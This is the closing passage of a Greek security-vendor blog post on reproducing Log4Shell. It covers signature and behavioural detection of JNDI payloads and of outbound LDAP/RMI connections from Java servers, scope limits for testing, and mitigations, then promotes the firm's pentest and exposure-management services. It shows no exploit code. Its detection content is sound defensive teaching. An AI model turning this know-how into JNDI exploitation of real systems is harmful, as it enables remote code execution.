Η ανίχνευση έχει δύο σκέλη. Το πρώτο είναι signature-based πάνω στα request logs. Φτιάξαμε έναν detector που πιάνει το κυριολεκτικό και τις obfuscated παραλλαγές:

Detection scan και το όριο του signature matching
Detection scan και το όριο του signature matching

Παρατηρήστε την ειλικρινή σημείωση: ο detector έπιασε τρεις από τέσσερις παραλλαγές αλλά έχασε εκείνη που έσπασε το URL scheme. Γι’ αυτό το δεύτερο σκέλος είναι κρίσιμο: behavioural detection. Το υψηλότερης αξιοπιστίας σήμα δεν είναι η συμβολοσειρά· είναι το γεγονός ότι μια διεργασία java/tomcat ξεκινά εξερχόμενη σύνδεση προς θύρα LDAP/RMI — κάτι που ένας web server σχεδόν ποτέ δεν κάνει νόμιμα. Αυτό το σήμα επιβιώνει κάθε obfuscation, γιατί παρατηρεί το αποτέλεσμα, όχι το string. Σε Windows, το Sysmon (Event ID 3, Network connection) και ένα σύγχρονο EDR δίνουν ακριβώς αυτή την τηλεμετρία διεργασίας και δικτύου· σε Linux, το auditd ή το eBPF-based tooling. Παρέχουμε έναν έτοιμο Sigma κανόνα με δύο σκέλη — έναν για τα request logs (με obfuscation regex) και έναν behavioural για το egress προς directory ports — αντιστοιχισμένους στα T1190, T1105 και T1059.

Αν εφαρμόσετε έστω τα σημεία 1 ή 2, η συγκεκριμένη αλυσίδα δεν ολοκληρώνεται. Αν προσθέσετε 3 και 5, αποκτάτε και ανθεκτικότητα και ορατότητα — ακριβώς τον συνδυασμό που απαιτούν οι σύγχρονες πρακτικές CTEM.

Θέλετε αυτό το επίπεδο ελέγχου συνεχώς, στο δικό σας περιβάλλον; Το Erevos AI είναι η ετήσια managed υπηρεσία Continuous Threat Exposure Management (CTEM) της Audax — human-led, machine-scaled, με τεκμηριωμένη απόδειξη ανθεκτικότητας για NIS2 & DORA.

Πού ταιριάζει επαγγελματικά — και πότε όχι

Πού ταιριάζει. Η αναπαραγωγή του Log4Shell είναι πυρήνας του web/API penetration testing: εντοπισμός σημείων όπου μη έμπιστο input καταγράφεται από ευάλωτο log4j, σε headers, usernames, search fields και message queues. Είναι ιδανικό για adversary validation — την επιβεβαίωση ότι τα detections σας για JNDI payloads και για ανώμαλο egress πράγματι ενεργοποιούνται — και για detection engineering. Είναι επίσης άμεσα σχετικό με τις απαιτήσεις NIS2 & DORA για διαχείριση ICT risk και απόδειξη ανθεκτικότητας, καθώς και με τη λογική της συνεχούς διαχείρισης έκθεσης.

Πότε όχι. Ποτέ εναντίον συστημάτων εκτός ρητού scope. Ποτέ με destructive εντολές ως «απόδειξη» — ένα id αρκεί. Και ποτέ ως «πιστοποιητικό ασφάλειας»: το ότι ένα scan δεν βρήκε ευάλωτο log4j δεν σημαίνει ότι δεν υπάρχει· το log4j κρύβεται σε shaded jars, σε firmware appliances και σε εξαρτήσεις τρίτων που δεν φαίνονται στο πρώτο βλέμμα.


Σύνοψη

Το Log4Shell είναι το τέλειο case study γιατί συμπυκνώνει μια βαθιά αλήθεια της ασφάλειας: οι πιο επικίνδυνες ευπάθειες γεννιούνται από τον συνδυασμό «βολικών» features, όχι από ένα μεμονωμένο bug. Δείξαμε, με πλήρως εκτελέσιμο κώδικα και πραγματικά outputs, πώς μια γραμμή log γίνεται RCE — και το αποδείξαμε με τέσσερις ανεξάρτητες πηγές και ένα flag. Δηλώσαμε με απόλυτη ειλικρίνεια τι τρέχει live και τι μπλοκάρει ένα σύγχρονο JDK, και δείξαμε ότι ακόμη και η ανίχνευσή μας έχει τυφλά σημεία που καλύπτει μόνο η behavioural τηλεμετρία.

Το μήνυμα για κάθε οργανισμό είναι διπλό. Πρώτον, μην θεωρείτε ποτέ ότι «ένα νέο JDK» ή «ένας WAF κανόνας» σας κάνει ασφαλείς — η πραγματική έκθεση εξαρτάται από πολλαπλούς παράγοντες που πρέπει να δοκιμαστούν, όχι να υποτεθούν. Δεύτερον, η άμυνα είναι σαφής και αποτελεσματική: patch σε >= 2.17.x, αφαίρεση JndiLookup, egress filtering, WAF και — πάνω από όλα — detection engineering που συνδυάζει signature με συμπεριφορά. Καθένα από αυτά σπάει τουλάχιστον έναν κρίκο. Η συνεχής χαρτογράφηση της επιφάνειας επίθεσης και η επαλήθευση με πραγματικές τεχνικές είναι ο μόνος τρόπος να ξέρετε — και όχι απλώς να ελπίζετε — ότι αυτά τα controls δουλεύουν στο δικό σας περιβάλλον.


Από το εργαστήριο, στο δικό σας περιβάλλον

Στα Audax Labs στήνουμε ελεγχόμενα σενάρια για να δείξουμε πώς σκέφτεται και δρα ένας επιτιθέμενος — από μια αθώα γραμμή log μέχρι πλήρη εκτέλεση κώδικα στον server, και από εκεί στην ανίχνευση και την άμυνα. Το ζητούμενο δεν είναι το εργαλείο· είναι η αλυσίδα και η απόδειξη ανθεκτικότητας.

Η Audax Cybersecurity μεταφέρει αυτή τη λογική στο δικό σας περιβάλλον μέσα από δομημένο penetration testing, adversary validation και συνεχή Continuous Threat Exposure Management με το Erevos AI — με τεκμηριωμένα ευρήματα, προτεραιοποίηση και σαφή απόδειξη για τις απαιτήσεις NIS2 & DORA.

Human-led. Machine-scaled. Technically proven.

Επισκεφθείτε το https://www.audax.gr για να μάθετε πώς μετατρέπουμε σενάρια σαν αυτό σε μετρήσιμη βελτίωση της ασφάλειάς σας.

Continuous Exposure Management

Θέλετε συνεχή επικύρωση της ασφάλειάς σας — όχι έλεγχο μία φορά τον χρόνο;

Το Continuous Exposure Management της Audax ενοποιεί attack surface discovery, attack surface testing και παρακολούθηση αναδυόμενων απειλών σε έναν συνεχή, αποδεικτικό κύκλο — εκτελούμενο από τους certified offensive operators μας. Human-led. Technically proven. Ευθυγραμμισμένο με NIS2 & DORA.

Δείτε το Continuous Exposure Management →
Offensive Security · Penetration Testing

Χρειάζεστε Penetration Testing για τον οργανισμό σας;

Περιγράψτε το scope του ελέγχου μέσα από το δομημένο ερωτηματολόγιο και λάβετε εξατομικευμένη τεχνική & οικονομική προσφορά από την ομάδα Offensive Security της Audax. Χωρίς αυτόματη τιμή ή δέσμευση — η προσφορά αποστέλλεται μετά από τεχνική αξιολόγηση του scope.

Ζητήστε προσφορά Penetration Testing →